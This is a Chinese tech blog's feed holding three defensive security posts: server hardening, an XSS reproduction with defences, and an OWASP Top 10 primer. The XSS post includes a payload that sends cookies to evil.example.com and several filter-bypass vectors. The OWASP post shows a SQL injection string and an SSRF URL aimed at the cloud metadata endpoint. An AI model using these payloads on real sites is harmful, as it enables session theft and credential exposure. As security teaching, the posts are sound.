站长 Hexo https://maoniang.cloud/ All rights reserved 2026, 站长 一个记录生活、技术与奇思妙想的小站 书技suket 2026-09-08T09:46:46.000Z 站长 新买的云服务器默认是很「裸」的。下面这 10 项做完，能挡掉 90% 的自动化扫描和脚本小子。全程命令行，一台机器大约半小时。

Linux服务器加固封面

1. 禁用 root 直接登录，改用密钥

1
2
3
4
5
# 本地生成密钥
ssh-keygen -t ed25519 -C "your@email.com"

# 把公钥传上去
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@your-server-ip

然后改 /etc/ssh/sshd_config：

1
2
3
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
1
sudo systemctl restart sshd

改之前务必另开一个终端确认能登进去，否则可能把自己锁在门外。

2. 换掉默认 SSH 端口（可选）

改成非 22 能显著减少日志里的爆破噪音，但这不是安全措施，只是减少骚扰。真正的安全靠的是第 1 步的密钥。

3. 装 fail2ban

自动封禁连续登录失败的 IP：

1
2
sudo apt install -y fail2ban
sudo systemctl enable --now fail2ban

4. 配置防火墙，只开必要端口

1
2
3
4
5
sudo ufw default deny incoming
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw enable

数据库端口（3306、6379、27017）千万不要对外开放。 这是最常见的翻车点。

5. 开启自动安全更新

1
2
sudo apt install -y unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades

6. 全站 HTTPS

1
2
sudo apt install -y certbot python3-certbot-nginx
sudo certbot --nginx -d yourdomain.com

顺手加上安全响应头：

1
2
3
4
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

7. 隐藏版本号

1
server_tokens off;

同理，关闭 Nginx / PHP 的版本暴露，别让攻击者一眼知道你跑的是什么版本。

8. 数据库不要用默认账户和默认库

1
2
3
4
5
-- 删掉测试库，删掉匿名账户
DROP DATABASE IF EXISTS test;
DELETE FROM mysql.user WHERE User='';
-- 应用账户只给必要的库权限，不要给 ALL PRIVILEGES
GRANT SELECT,INSERT,UPDATE,DELETE ON blog.* TO 'blog'@'localhost';

9. 备份：3-2-1 原则

  • 3 份副本
  • 2 种不同介质
  • 1 份异地

最小可用实现：每天 mysqldump + rsync 到另一台机器，保留 7 天。

1
2
3
4
#!/bin/bash
DATE=$(date +%F)
mysqldump -u root -p'密码' blog > /backup/blog-$DATE.sql
find /backup -name "*.sql" -mtime +7 -delete

没验证过能恢复的备份，不算备份。 至少真的恢复演练一次。

10. 日志要送到删不掉的地方

攻击者进来第一件事就是清日志。把关键日志实时同步到远程：

1
2
# rsyslog 转发到远端，或者用云厂商的日志服务
*.* @@log-server.example.com:514

做完之后的检查

1
2
3
4
5
6
# 看看哪些端口在对外监听
sudo ss -tlnp
# 看看有没有异常登录
sudo last -20
# 看看谁在爆破
sudo grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head

一句话总结

安全加固的优先级：密钥登录 > 防火墙 > HTTPS > 自动更新 > 备份。前两项做了，绝大多数自动化攻击就与你无关了。

]]> https://maoniang.cloud/2026/09/07/server-hardening/ 2026-09-07T13:40:00.000Z 一台刚开出来的云服务器，从裸机到能放心对外提供服务，中间要做的 10 件事。 服务器上线前必做的 10 项安全加固 2026-09-08T09:46:46.000Z 站长 XSS（跨站脚本）是出现频率最高的一类前端漏洞。很多人对它的印象停留在「弹个窗」，但它真正危险的地方在于：脚本能做任何用户能做的事。

三种类型

类型触发方式典型场景
反射型恶意代码在 URL 里，服务端原样返回搜索结果页、错误提示页
存储型恶意代码被存进数据库评论区、昵称、个性签名
DOM 型前端 JS 把不可信数据写进 DOMinnerHTML = location.hash

复现：从 alert 到盗号

第一步：确认有没有洞

在搜索框输入：

1
<script>alert(1)</script>

如果页面弹窗了，说明后端把输入原样输出了。

第二步：换成真正有害的载荷

1
2
3
<script>
  fetch('https://evil.example.com/steal?c=' + document.cookie)
</script>

只要受害者访问了这个页面，Cookie 就到攻击者手上了。如果 Cookie 里带着会话 ID，且没有 HttpOnly，账号就丢了。

第三步：绕过常见过滤

很多站点会过滤 <script>，但可以绕：

1
2
3
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">点我</a>

所以黑名单过滤基本没用，必须做输出编码。

防御：四道防线

1. 输出编码（最重要）

根据输出位置选对应的编码方式：

输出位置该做的编码
HTML 文本节点HTML 实体编码（< → &lt;）
HTML 属性属性编码，并且属性值必须加引号
JS 字符串里JS 转义（\ ' "）
URL 参数encodeURIComponent

现代框架已经默认帮你做了：

  • React：{} 插值默认转义，只有 dangerouslySetInnerHTML 会跳过
  • Vue：{{ }} 默认转义，只有 v-html 会跳过

原则：永远不要用 v-html / dangerouslySetInnerHTML 渲染用户输入。

2. CSP（内容安全策略）

加一个响应头，从根上限制脚本来源：

1
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'";

配了 CSP 之后，即使有漏网的 XSS，内联脚本也执行不了。这是性价比最高的一道防线。

1
Set-Cookie: sessionid=xxx; HttpOnly; Secure; SameSite=Lax

HttpOnly 之后 JS 读不到 Cookie，就算 XSS 成功也偷不走会话。

4. 富文本要专门处理

如果业务确实需要用户发 HTML（比如博客评论支持加粗），必须走白名单消毒，用 DOMPurify 这类成熟库，不要自己写正则。

1
npm install dompurify
1
2
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

自查清单

  • 所有用户输入输出时都做了编码
  • 没有任何地方用 innerHTML / v-html 渲染用户输入
  • 配了 CSP
  • 会话 Cookie 带 HttpOnly
  • 富文本走白名单消毒

记住一句话：转义是防守，CSP 是保险，HttpOnly 是底裤。三层都穿上才敢睡觉。

]]> https://maoniang.cloud/2026/09/07/xss-demo/ 2026-09-07T13:20:00.000Z 从「弹个 alert」到「偷走 Cookie」，一步步看 XSS 能干什么，以及前端到底该怎么防。 一次 XSS 的完整复现与防御 2026-09-08T09:46:46.000Z 站长 OWASP Top 10 是业界公认的 Web 应用十大风险清单。刚接触安全时最容易被那些缩写劝退，所以这一篇尽量用「人话」讲清楚每一类。

1. 失效的访问控制

是什么：该拦的地方没拦。比如把地址栏里的 ?id=1001 改成 1002，就能看到别人的订单。

怎么防：服务端每次请求都校验「这个资源属不属于当前用户」，不能只在前端把按钮藏起来——藏了不等于没有。

2. 加密机制失效

是什么：用了弱算法（MD5 存密码）、或者压根没上 HTTPS、或者证书校验被绕过。

怎么防：密码用 bcrypt / argon2；全站 HTTPS；敏感字段单独加密。

3. 注入

是什么：把用户输入拼进了命令里。最典型的是 SQL 注入：

1
2
3
-- 后端如果这么写就完了
SELECT * FROM user WHERE name = '" + input + "'
-- 输入 ' OR '1'='1  就能把所有用户查出来

怎么防：用参数化查询（Prepared Statement），永远不要手拼 SQL。ORM 默认就是参数化的。

4. 不安全的设计

这是 2021 版新增的，指的是「设计阶段就没考虑安全」——比如验证码可以无限次试、短信接口没有频率限制。这类问题靠打补丁修不好，得在设计时想清楚。

5. 安全配置错误

默认的口令没改、目录列表开着、报错信息把堆栈直接吐给用户、云存储桶设成了公开读。都属于这一类，而且极其常见。

6. 易受攻击的过时组件

还在用三年前的 Log4j / Struts / 老版本 Nginx。

怎么防：定期跑 npm audit、pip-audit、trivy，把依赖升级变成日常而不是救火。

7. 身份认证失效

弱口令、验证码可爆破、会话 ID 写在 URL 里、登录失败次数不限制。

怎么防：登录失败次数限制 + 多因素认证 + 会话超时。

8. 软件和数据完整性失效

反序列化漏洞、CI/CD 流水线被投毒、从不验证签名的自动更新。

9. 日志与监控不足

被打了还不知道，事后查不到是谁、什么时候、怎么进来的。

怎么防：登录失败、权限变更、异常参数都要记日志，并且日志要送到攻击者删不掉的地方。

10. SSRF（服务端请求伪造）

是什么：你让服务器去访问一个你给的 URL，结果它把内网也访问了一遍：

1
https://api.example.com/fetch?url=http://169.254.169.254/latest/meta-data/

上面这个地址在云主机上能拿到临时密钥。

怎么防：白名单允许访问的域名 + 禁止访问内网网段 + 禁用非常见协议。

一句话总结

类别最短的防御动作
访问控制每次请求都校验归属
加密密码用 bcrypt，全站 HTTPS
注入参数化查询
配置关掉默认账户和目录列表
组件定期npm audit
认证失败次数限制 + MFA
SSRF域名白名单 + 禁内网

安全不是一次性项目，是习惯。

]]> https://maoniang.cloud/2026/09/07/owasp-top10/ 2026-09-07T13:00:00.000Z 把 OWASP Top 10 讲成「人话」——每一类漏洞到底是什么、怎么被打、怎么防。 Web 安全入门：OWASP Top 10 速览 2026-09-08T15:13:12.892Z